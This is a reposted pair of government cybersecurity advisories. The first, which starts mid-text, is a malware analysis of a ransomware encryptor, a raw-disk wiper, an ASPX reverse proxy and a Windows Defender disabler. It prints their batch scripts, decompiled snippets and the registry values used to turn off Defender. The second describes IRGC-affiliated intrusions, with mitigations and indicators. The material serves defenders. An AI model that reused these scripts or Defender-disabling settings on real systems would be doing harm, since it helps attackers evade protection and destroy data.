which is an invalid command.The ransomware’s file encryption routine will generate a random string, take the MD5 hash and use that to generate an RC4 128 key which is used to encrypt files. This key is encrypted with a hard coded Public RSA key and converted to Base64 utilizing a custom alphabet. This is appended to the end of the ransom note.
The cryptor places a file called
How_To_Unlock_MyFiles.txt
in directories with encrypted files.Each encrypted file is given the
.lck
extension and the contents of each file are only encrypted up to0x100000
or 1,048,576 bytes which is a hard coded limit.Separately, the actor ran a batch script (win.bat below) to set a specific desktop background.
File Details
GoXml.exe
File Size:
43.48 KB (44520 bytes)
SHA256:
f116acc6508843f59e59fb5a8d643370dce82f492a217764521f46a856cc4cb5
SHA1:
5d117d8ef075f3f8ed1d4edcc0771a2a0886a376
MD5:
bbe983dba3bf319621b447618548b740
SSDeep:
768:+OFu8Q3w6QzfR5Jni6SQD7qSFDs6P93/q0XIc/UB5EPABWX
:RFu8QAFzffJui79f13/AnB5EPAkX (Ver 1.1)
File Type:
PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
PE Header Timestamp:
2016-04-30 17:08:19
ImpHash:
5b2ce9270beea5915ec9adbcd0dbb070
Cert #0 Subject C=KW, L=Salmiya, O=Kuwait Telecommunications Company KSC, OU=Kuwait Telecommunications Company, CN=Kuwait Telecommunications Company KSC
Cert #0 Issuer C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 Assured ID Code Signing CA
Cert #0 SHA1 55d90ec44b97b64b6dd4e3aee4d1585d6b14b26f
win.bat (#1, run malware)
File Size:
67 bytes
SHA256:
bad65769c0b416bb16a82b5be11f1d4788239f8b2ba77ae57948b53a69e230a6
SHA1:
14b8c155e01f25e749a9726958606b242c8624b9
MD5:
1635e1acd72809479e21b0ac5497a79b
SSDeep:
3:LjTFKCkRErG+fyM1KDCFUF82G:r0aH1+DF82G (Ver 1.1)
File Type:
ASCII text, with no line terminators
Contents:
start /min C:ProgramDataMicrosoftWindowsGoXml.exe 1 2 3 4 5 6 7
win.bat (#2, install desktop image)
Filename:
ec4cd040fd14bff86f6f6e7ba357e5bcf150c455532800edf97782836e97f6d2
File Size:
765 bytes
SHA256:
ec4cd040fd14bff86f6f6e7ba357e5bcf150c455532800edf97782836e97f6d2
SHA1:
fce0db6e66d227d3b82d4564446ede0c0fd7598c
MD5:
18e01dee14167c1cf8a58b6a648ee049
SSDeep:
12:wbYVJ69/TsdLd6sdLd3mTDwfV+EVTCuwfV+EVTCuwfV+EVTCuwfV+EVTCuwfV
+Et:wq69/kZxZ3mTDY9HY9HY9HY9HY9j (Ver 1.1)
File Type:
DOS batch file text, ASCII text, with CRLF line terminators
Contents:
@echo off
setlocal enabledelayedexpansion
set “Wtime=!time:~0,2!”
if “!Wtime!” leq “20” reg add “HKEY_CURRENT_USERControl PanelDesktop” /v Wallpaper /t REG_SZ /d “c:programdataGoXml.jpg” /f & goto done
if “!Wtime!” geq “20” reg add “HKEY_CURRENT_USERControl PanelDesktop” /v Wallpaper /t REG_SZ /d “c:programdataGoXml.jpg” /f & goto done
:done
timeout /t 5 >nul
start “” /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True
start “” /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True
start “” /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True
start “” /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True
start “” /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True
endlocal
goxml.jpg
File Size:
1.2 MB (1259040 bytes)
SHA256:
63dd02c371e84323c4fd9a161a75e0f525423219e8a6ec1b95dd9eda182af2c9
SHA1:
683eaec2b3bb5436f00b2172e287dc95e2ff2266
MD5:
0738242a521bdfe1f3ecc173f1726aa1
SSDeep:
12288:ME0p1RE70zxntT/ylTyaaSMn2fS+0M6puxKfJbDKrCxMe5fPSC2tmx
VjpJT/n37p:MHyUt7yQaaPXS6pjar+MwrjpJ7VIbZg (Ver 1.1)
File Type:
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=13, height=1752, bps=0, PhotometricIntepretation=CMYK, orientation=upper-left, width=2484TIFF image data, big-endian, direntries=13, height=1752, bps=0, PhotometricIntepretation=CMYK, orientation=upper-left, width=2484], progressive, precision 8, 2484×1752, components 4
Software:
Adobe Photoshop 22.4 (Windows)
Modify Date:
2022-07-13 20:45:20
Create Date:
2020-06-11 02:13:33
Metadata Date:
2022-07-13 20:45:20
Profile Date Time:
2000-07-26 05:41:53
Image Size:
2484×1752
File Size:
1.2 MB (1259040 bytes)
SHA256:
63dd02c371e84323c4fd9a161a75e0f525423219e8a6ec1b95dd9eda182af2c9
Disk Wiper
The files
cl.exe
andrwdsk.sys
are part of a disk wiper utility that provides raw access to the hard drive for the purposes of wiping data. From the command line the cl.exe file accepts the arguments:in
un
wp <optional argument>
If executed with the
in
command, the utility will outputin start!
and installs a hard coded file named rwdsk.sys as a service namedRawDisk3
. The.SYS
file is not extracted from the installer however, but rather the installer looks for the file in the same directory that thecl.exe
is executed in.It will also load the driver after installation.
The
un
command uninstalls the service, outputting the message“un start!”
to the terminal.The
wp
command will access the loaded driver for raw disk access.The long hexadecimal string is hard coded in the
cl.exe
binary.RawDisk3File = (void *)toOpenRawDisk3File(
arg2_WideCharStr,
0xC0000000,
L”B4B615C28CCD059CF8ED1ABF1C71FE03C0354522990AF63ADF3C911E2287A4B906D47D”);
ptrRawDiskFile = RawDisk3File;
if ( RawDisk3File )
{
sizeDisk = toGetDiskSize(RawDisk3File);
terminal_out(“Total Bytez : %lldn”, sizeDisk << 9);
The
wp
command also takes an additional argument as a device path to place afterRawDisk3
in the output string. It is uncertain what creates this path to a device as the driver tested did not.The output is “wp starts!” followed by the total bytes of the drive and the time the wipe operation takes.
If the registry key value HKLMSOFTWAREEldoSEventLog is set to “Enabled”, the install will generate an event log if at any time the install produces an error. This log contains an error code DWORD followed by the string ….DriverLibrariesDrvSupLibinstall.c. If the system does not have the SOFTWAREEldoS key, no event logs would be produced. This feature must be a related to the legitimate EldoS utility.
rwdsk.sys is a “legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer’s hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.”https://attack.mitre.org/software/S0364/
File Details
cl.exe
File Size
142.5 KB (145920 bytes)
SHA256
e1204ebbd8f15dbf5f2e41dddc5337e3182fc4daf75b05acc948b8b965480ca0
SHA1
f22a7ec80fbfdc4d8ed796119c76bfac01e0a908
MD5
7b71764236f244ae971742ee1bc6b098
SSDeep
3072:vv2ADi7yOcE/YMBSZ0fZX4kpK1OhJrDwM:vv2jeQ/flfZbKM (Ver 1.1)
Filetype
PE32+ executable (console) x86-64, for MS Windows
PE Header Timestamp
2022-07-15 13:26:28
ImpHash
58d51c1152817ca3dec77f2eee52cbef
rwdsk.sys
File Size
38.84 KB (39776 bytes)
SHA256
3c9dc8ada56adf9cebfc501a2d3946680dcb0534a137e2e27a7fcb5994cd9de6
SHA1
5e061701b14faf9adec9dd0b2423ff3cfc18764b
MD5
8f6e7653807ebb57ecc549cef991d505
SSDeep
768:E31ySCpoCbXnfDbEaJSooKIDyE9aBazWlEAusxsia:0gyCb3MFKIHO4Ausxta (Ver 1.1)
Filetype
PE32+ executable (native) x86-64, for MS Windows
PEtype
Driver
PE Header Timestamp
2016-03-18 14:44:54
ImpHash
e233f2cdc91faafe1467d9e52f166213
Cert #0 Subject
CN=VeriSign Time Stamping Services CA, O=VeriSign, Inc., C=US
Cert #0 Issuer
CN=VeriSign Time Stamping Services CA, O=VeriSign, Inc., C=US
Cert #0 SHA1
382c18388fb326221dfd7a77ee874f9ba60e04bf
Cert #1 Subject
C=US, ST=California, L=SANTA CLARA, O=NVIDIA Corporation, CN=NVIDIA Corporation
Cert #1 Issuer
C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA
Cert #1 SHA1
30632ea310114105969d0bda28fdce267104754f
Cert #2 Subject
C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=(c) 2006 VeriSign, Inc. – For authorized use only, CN=VeriSign Class 3 Public Primary Certification Authority – G5
Cert #2 Issuer
C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Code Verification Root
Cert #2 SHA1
57534ccc33914c41f70e2cbb2103a1db18817d8b
Cert #3 Subject
C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA
Cert #3 Issuer
C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=(c) 2006 VeriSign, Inc. – For authorized use only, CN=VeriSign Class 3 Public Primary Certification Authority – G5
Cert #3 SHA1
495847a93187cfb8c71f840cb7b41497ad95c64f
Additional Files
Web Deployed Reverse Proxy
Description
ClientBin.aspx is an ASP file that contains a Base64 encoded .Net executable (App_Web_bckwssht.dll) that it decodes and loads via Reflection. The .Net executable contains Class and Method obfuscation and internal strings are encoded with a single byte XOR obfuscation.
public static string hair_school_bracket()
{
return Umbrella_admit_arctic.rebel_sadreporthospital(“460F2830272A2F2266052928202F21661627252D27212368”); //Invalid Config Package.
}
public static string Visual_math_already()
{
return Umbrella_admit_arctic.rebel_sadreporthospital(“5304057E0116001607”); //WV-RESET
The method rebel_sadreporthospital takes the first byte of the encoded string and XOR’s each subsequent byte to produce the de-obfuscated string.
When run in context of an IIS web server connecting to the ASPX file will generate a 200 <Encryption DLL Info> 1.5 output.
The hex string represents the following ASCII text:
Base64, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
Sending a POST request with a Base64 encoded IP and port will open a second socket to the supplied IP and port making this a Web proxy.
Sending a request to WV-RESET with a value will produce an OK response and call a function to shut down the proxy socket.
The DLL extracts a secondary “EncryptionDLL” named Base64.dll which is loaded via Assembly.Load. This exposes two functions, encrypt and decrypt. This DLL is used to decrypt the Proxy IP and port along with data. In this instance the class name is misspelled Bsae64, which is also reflected in the calling DLLs decoded strings. It is uncertain as to why an additional Base64.dll binary is extracted when the same encoding could be hard coded in the original DLL. It is possible other versions of this tool utilize differing “EncryptionDLL” binaries.
File Details
ClientBin.aspx
File Size
55.24 KB (56561 bytes)
SHA256
7ad64b64e0a4e510be42ba631868bbda8779139dc0daad9395ab048306cc83c5
SHA1
e03edd9114e7a0138d1309034cad6b461ab0035b
MD5
a9fa6cfdba41c57d8094545e9b56db36
SSDeep
768:x9TfK6nOgo5zE/cezUijAwZIFxK1mGjncrF8EAZ0iBDZBZdywb0DwHN4N4wjMxr8:x9TfdOgAi2 (Ver 1.1)
Filetype
HTML document text, ASCII text, with very long lines (56458)
App_Web_bckwssht.dll
File Size
41.0 KB (41984 bytes)
SHA256
cad2bc224108142b5aa19d787c19df236b0d12c779273d05f9b0298a63dc1fe5
SHA1
49fd8de33aa0ea0c7432d62f1ddca832fab25325
MD5
e9b6ecbf0783fa9d6981bba76d949c94
SSDeep
384:coY4jnD7l9VAk1dtrGBlLGYEX1tah8dgNyamGOvMTfdYN5qZAsP:hlXAkHRGBlUUh8cFmpv6feYLP (Ver 1.1)
Filetype
PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
PEtype
DLL
PE Header Timestamp
2021-06-07 10:37:55
ImpHash
dae02f32a21e03ce65412f6e56942daa
Disable Defender
Description
disable_defender.exe is a Microsoft Windows PE file that attempts to disable Windows Defender. The application will elevate privileges to that of SYSTEM and then attempt to disable Defender’s core functions. A command prompt with status and error messages is displayed as the application executes. No network activity was detected during the evaluation.
Upon execution, a command prompt is launched and a message is displayed if the process is not running as SYSTEM. The process is then restarted with the required permissions.
The application will attempt to terminate the Windows Defender process by calling TerminateProcess for smartscreen.exe:
The following Registry Keys were modified to disable Windows Defender:
Set Registry Values (observed Win10 1709)
HKLMSOFTWAREMicrosoftWindows DefenderFeaturesTamperProtection
0
HKLMSOFTWAREPoliciesMicrosoftWindows DefenderDisableAntiSpyware
1
HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorer
StartupApprovedRunSecurityHealth
03 00 00 00 5D 02 00 00 41 3B 47 9D
HKLMSOFTWAREMicrosoftWindows DefenderDisableAntiSpyware
1
HKLMSystemCurrentControlSetServicesWinDefendStart
3
HKLMSOFTWAREMicrosoftWindows DefenderReal-Time Protection
DisableRealtimeMonitoring
1
Upon completion and if successful the application will display the following messages and wait for user input.
disable-defender.exe
File Size
292.0 KB (299008 bytes)
SHA256
45bf0057b3121c6e444b316afafdd802d16083282d1cbfde3cdbf2a9d0915ace
SHA1
e866cc6b1507f21f688ecc2ef15a64e413743da7
MD5
60afb1e62ac61424a542b8c7b4d2cf01
SSDeep
6144:t2WhikbJZc+Wrbe/t1zT/p03BuGJ1oh7ISCLun:t2WpZnW+/tVoJ1ouQ (Ver 1.1)
Filetype
PE32+ executable (console) x86-64, for MS Windows
PEtype
EXE
PE Header Timestamp
2021-10-24 15:07:32
ImpHash
74a6ef9e7b49c71341e439022f643c8e
Revisions
This product is provided subject to this Notification and this Privacy & Use policy.
Source de l’article sur us-cert.gov
AA22-257A: Iranian Islamic Revolutionary Guard Corps-Affiliated Cyber Actors Exploiting Vulnerabilities for Data Extortion and Disk Encryption for Ransom Operations
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationOriginal release date: September 14, 2022
Summary
Actions to take today to protect against ransom operations:
• Keep systems and software updated and prioritize remediating known exploited vulnerabilities.
• Enforce MFA.
• Make offline backups of your data.
This joint Cybersecurity Advisory (CSA) is the result of an analytic effort among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA), U.S. Cyber Command (USCC) – Cyber National Mission Force (CNMF), the Department of the Treasury (Treasury), the Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), and the United Kingdom’s National Cyber Security Centre (NCSC) to highlight continued malicious cyber activity by advanced persistent threat (APT) actors that the authoring agencies assess are affiliated with the Iranian Government’s Islamic Revolutionary Guard Corps (IRGC). Note: The IRGC is an Iranian Government agency tasked with defending the Iranian Regime from perceived internal and external threats. Hereafter, this advisory refers to all the coauthors of this advisory as “the authoring agencies.”
This advisory updates joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, which provides information on these Iranian government-sponsored APT actors exploiting known Fortinet and Microsoft Exchange vulnerabilities to gain initial access to a broad range of targeted entities in furtherance of malicious activities, including ransom operations. The authoring agencies now judge these actors are an APT group affiliated with the IRGC.
Since the initial reporting of this activity in the FBI Liaison Alert System (FLASH) report APT Actors Exploiting Fortinet Vulnerabilities to Gain Access for Malicious Activity from May 2021, the authoring agencies have continued to observe these IRGC-affiliated actors exploiting known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities for initial access. The IRGC-affiliated actors have used this access for follow-on activity, including disk encryption and data extortion, to support ransom operations.
The IRGC-affiliated actors are actively targeting a broad range of entities, including entities across multiple U.S. critical infrastructure sectors as well as Australian, Canadian, and United Kingdom organizations. These actors often operate under the auspices of Najee Technology Hooshmand Fater LLC, based in Karaj, Iran, and Afkar System Yazd Company, based in Yazd, Iran. The authoring agencies assess the actors are exploiting known vulnerabilities on unprotected networks rather than targeting specific targeted entities or sectors.
This advisory provides observed tactics, techniques, and indicators of compromise (IOCs) that the authoring agencies assess are likely associated with this IRGC-affiliated APT. The authoring agencies urge organizations, especially critical infrastructure organizations, to apply the recommendations listed in the Mitigations section of this advisory to mitigate risk of compromise from these IRGC-affiliated cyber actors.
For a downloadable copy of IOCs, see AA22-257A.stix.
For more information on Iranian state-sponsored malicious cyber activity, see CISA’s Iran Cyber Threat Overview and Advisories webpage and FBI’s Iran Threat webpage.
Download the PDF version of this report: pdf, 836 kb
Technical Details
Threat Actor Activity
As reported in joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, the authoring agencies have observed Iranian government-sponsored APT actors scanning for and/or exploiting the following known Fortinet FortiOS and Microsoft Exchange server vulnerabilities since early 2021 to gain initial access to a broad range of targeted entities: CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, and CVE-2021-34473 (a ProxyShell vulnerability). The authoring agencies have also observed these APT actors leveraging CVE-2021-34473 against U.S. networks in combination with ProxyShell vulnerabilities CVE-2021-34523 and CVE-2021-31207. The NCSC judges that Yazd, Iran-based company Afkar System Yazd Company is actively targeting UK organizations. Additionally, ACSC judges that these APT actors have used CVE-2021-34473 in Australia to gain access to systems. The APT actors can leverage this access for further malicious activities, including deployment of tools to support ransom and extortion operations, and data exfiltration.
Since the activity was reported in 2021, these IRGC-affiliated actors have continued to exploit known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities CVE-2021-44228 (“Log4Shell”), CVE-2021-45046, and CVE-2021-45105 for initial access.
The IRGC-affiliated actors have used their access for ransom operations, including disk encryption and extortion efforts. After gaining access to a network, the IRGC-affiliated actors likely determine a course of action based on their perceived value of the data. Depending on the perceived value, the actors may encrypt data for ransom and/or exfiltrate data. The actors may sell the data or use the exfiltrated data in extortion operations or “double extortion” ransom operations where a threat actor uses a combination of encryption and data theft to pressure targeted entities to pay ransom demands.
IRGC-affiliated actor activity observed by the authoring agencies includes:
MITRE ATT&CK® Tactics and Techniques
Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 11. See Appendix B for a table of the MITRE ATT&CK tactics and techniques observed.
The authoring agencies assess the following tactics and techniques are associated with this activity.
Resource Development [TA0042]
The IRGC-affiliated actors have used the following malicious and legitimate tools [T1588.001, T1588.002] for a variety of tactics across the enterprise spectrum:
Note: For additional tools used by these IRGC-affiliated cyber actors, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.
Initial Access [TA0001]
As stated in the Technical Details section previously reported in joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, the IRGC-affiliated actors gained initial access by exploiting known vulnerabilities [T1190].
The following IOCs, observed as of March 2022, are indicative of ProxyShell vulnerability exploitation on targeted entity networks:
The following IOCs, observed as of December 2021, are indicative of Log4j vulnerability exploitation on targeted entity networks:
Execution [TA0002]
The IRGC-affiliated actors may have made modifications to the Task Scheduler [T1053.005]. These modifications may display as unrecognized scheduled tasks or actions. Specifically, the below established tasks may be associated with this activity:
Note: The potential exists that tasks associated with CacheTask or Wininet may be legitimate. For additional tasks used by these IRGC-affiliated cyber actors, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.
Persistence [TA0003]
The IRGC-affiliated actors established new user accounts on domain controllers, servers, workstations, and active directories [T1136.001, T1136.002]. The actors enabled a built-in Windows account (DefaultAccount) and escalated privileges to gain administrator-level access to a network. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity:
Note: For additional account usernames associated with this activity, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.
Exfiltration [TA0010]
The authoring agencies have observed the IRGC-affiliated actors dumping and subsequently exfiltrating the Local Security Authority Subsystem Service (LSASS) process memory on targeted entity networks in furtherance of credential harvesting. The following IOCs are associated with data exfiltration from targeted entity networks:
Impact [TA0040]
The IRGC-affiliated actors forced BitLocker activation on host networks to encrypt data [T1486] and held the decryption keys for ransom. The corresponding ransom notes were sent to the targeted entity, left on the targeted entity network as a.txt file or printed on the targeted entity’s networked printer(s). The notes included the following contact information:
Note: For additional contact information included in ransom notes, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.
DETECTION
The authoring agencies recommend that organizations using Microsoft Exchange servers, Fortinet devices, and/or VMware Horizon applications investigate potential suspicious activity in their networks.
Note: For additional approaches on uncovering malicious cyber activity, see joint advisory Technical Approaches to Uncovering and Remediating Malicious Activity, authored by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.
Mitigations
The authoring agencies urge network defenders to prepare for and mitigate potential cyber threats immediately by implementing the mitigations below.
Implement and Enforce Backup and Restoration Policies and Procedures
Patch and Update Systems
Evaluate and Update Blocklists and Allowlists
Implement Network Segmentation
Secure User Accounts
Implement Multifactor Authentication
Use Strong Passwords
Secure and Monitor RDP and other Potentially Risky Services
Use Antivirus Programs
Secure Remote Access
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
RESPONDING TO RANSOMWARE OR EXTORTION INCIDENTS
If a ransomware or extortion incident occurs at your organization:
Note: The authoring agencies strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks.
RESOURCES
PURPOSE
This advisory was developed by U.S., Australian, Canadian, and UK cybersecurity authorities in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.
DISCLAIMER
The information in this report is being provided “as is” for informational purposes only. FBI, CISA, NSA, USCC-CNMF, DoT, ACSC, CCCS, and NCSC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.
APPENDIX A: INDICATORS OF COMPROMISE
IP addresses and executables files are listed below. For a downloadable copy of IOCs, see AA22- 257A.stix.
IP Addresses
Note: Some of these observed IP addresses may be outdated. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.
Malicious Domains
Files
Malicious files observed in this activity are identified in Table 1. Many of the below malicious files are masquerading as legitimate Windows files; therefore, file names alone should not be treated as an indicator of compromise. Note: For additional malicious files observed, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.
Filename:
Wininet[.]xml
Path:
C:WindowsTempwininet[.]xml
MD5:
d2f4647a3749d30a35d5a8faff41765e
SHA-1:
0f676bc786db3c44cac4d2d22070fb514b4cb64c
SHA-256:
559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e
Filename:
Wininet’[.]xml
MD5:
2e1e17a443dc713f13f45a9646fc2179
SHA-1:
e75bfc0dd779d9d8ac02798b090989c2f95850dc
Filename:
WinLogon[.]xml
Path:
C:WindowsTempWinLogon[.]xml
MD5:
49c71178fa212012d710f11a0e6d1a30
SHA-1:
226f0fbb80f7a061947c982ccf33ad65ac03280f
SHA-256:
bcc2e4d96e7418a85509382df6609ec9a53b3805effb7ddaed093bdaf949b6ea
Filename:
Wininet[.]bat
Path:
C:Windowswininet[.]bat
MD5:
5f098b55f94f5a448ca28904a57c0e58
SHA-1:
27102b416ef5df186bd8b35190c2a4cc4e2fbf37
SHA-256:
668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0
Filename:
Winlogon[.]bat
Path:
C:Windowswinlogon[.]bat
MD5:
7ac4633bf064ebba9666581b776c548f
SHA-1:
524443dd226173d8ba458133b0a4084a172393ef
SHA-256:
d14d546070afda086a1c7166eaafd9347a15a32e6be6d5d029064bfa9ecdede7
Filename:
CacheTask[.]bat
Path:
C:\ProgramDataMicrosoftCacheTask[.]bat
MD5:
ee8fd6c565254fe55a104e67cf33eaea
SHA-1:
24ed561a1ddbecd170acf1797723e5d3c51c2f5d
SHA-256:
c1723fcad56a7f18562d14ff7a1f030191ad61cd4c44ea2b04ad57a7eb5e2837
Filename:
Task_update[.]exe
Path:
C:WindowsTemptask_update[.]exe
MD5:
cacb64bdf648444e66c82f5ce61caf4b
SHA-1:
3a6431169073d61748829c31a9da29123dd61da8
SHA-256:
12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075ff6d1a
Filename:
Task[.]exe
MD5:
5b646edb1deb6396082b214a1d93691b
SHA-1:
763ca462b2e9821697e63aa48a1734b10d3765ee
SHA-256:
17e95ecc7fedcf03c4a5e97317cfac166b337288562db0095ccd24243a93592f
Filename:
dllhost[.]exe
Path:
C:Windowsdllhost[.]exe
MD5:
0f8b592126cc2be0e9967d21c40806bc
9a3703f9c532ae2ec3025840fa449d4e
SHA-1:
3da45558d8098eb41ed7db5115af5a2c6 1c543af
8ece87086e8b5aba0d1cc4ec3804bf74e 0b45bee
SHA-256:
724d54971c0bba8ff32aeb6044d3b3fd57 1b13a4c19cada015ea4bcab30cae26
1604e69d17c0f26182a3e3ff65694a4945
0aafd56a7e8b21697a932409dfd81e
Filename:
svchost[.]exe
Path:
C:Windowssvchost[.]exe
MD5:
68f58e442fba50b02130eedfc5fe4e5b
298d41f01009c6d6240bc2dc7b769205
SHA-1:
76dd6560782b13af3f44286483e157848
efc0a4e
6ca62f4244994b5fbb8a46bdfe62aa1c95 8cebbd
SHA-256:
b04b97e7431925097b3ca4841b894139 7b0b88796da512986327ff66426544ca
8aa3530540ba023fb29550643beb00c9c 29f81780056e02c5a0d02a1797b9cd9
Filename:
User[.]exe
Path:
C:WindowsTempuser[.]exe
MD5:
bd131ebfc44025a708575587afeebbf3
f0be699c8aafc41b25a8fc0974cc4582
SHA-1:
8b23b14d8ec4712734a5f6261aed40942 c9e0f68
6bae2d45bbd8c4b0a59ba08892692fe86 e596154
SHA-256:
b8a472f219658a28556bab4d6d109fdf3 433b5233a765084c70214c973becbbd
7b5fbbd90eab5bee6f3c25aa3c2762104 e219f96501ad6a4463e25e6001eb00b
Filename:
Setup[.]bat
Path:
C:UsersDefaultAccountDesktopNew foldersetup[.]bat
MD5:
7fdc2d007ef0c1946f1f637b87f81590
Filename:
Ssasl[.]pmd
Path:
C:WindowsTempssasl[.]pmd
Filename:
Ssasl[.]zip
Path:
C:WindowsTempssasl[.]zip
Filename:
netscanold[.]exe
Path:
C:UsersDefaultAccountDesktopnetscanoldnetscanold[.]exe
Filename:
scan[.]csv
Path:
C:UsersDefaultAccountDesktopscan[.]csv
Filename:
lsass[.]dmp
Path:
C:UsersDefaultAccountAppDataLocalTemplsass[.]dmp
Filename:
lsass[.]zip
Path:
C:UsersDefaultAccountAppDataLocalTemplsass[.]zip
APPENDIX B: MITRE ATT&CK TACTICS AND TECHNIQUES
Table 2 identifies MITRE ATT&CK Tactics and techniques observed in this activity.
Tactic
Technique
Resource Development ]TA0042]
Obtain Capabilities: Malware [T1588.001]
Obtain Capabilities: Tool [T1588.002]
Initial Access [TA0001]
Exploit Public-Facing Application [T1190]
Execution [TA0002]
Scheduled Task/Job: Scheduled Task [T1053.005]
Persistence [TA0003]
Create Account: Local Account [T1136.001]
Create Account: Domain Account [T1136.002]
Privilege Escalation [TA0004]
Credential Access [TA0006]
Collection [TA0009]
Archive Collected Data: Archive via Utility [T1560.001]
Exfiltration [TA0010]
Impact [TA0040]
Data Encrypted for Impact [T1486]
Revisions
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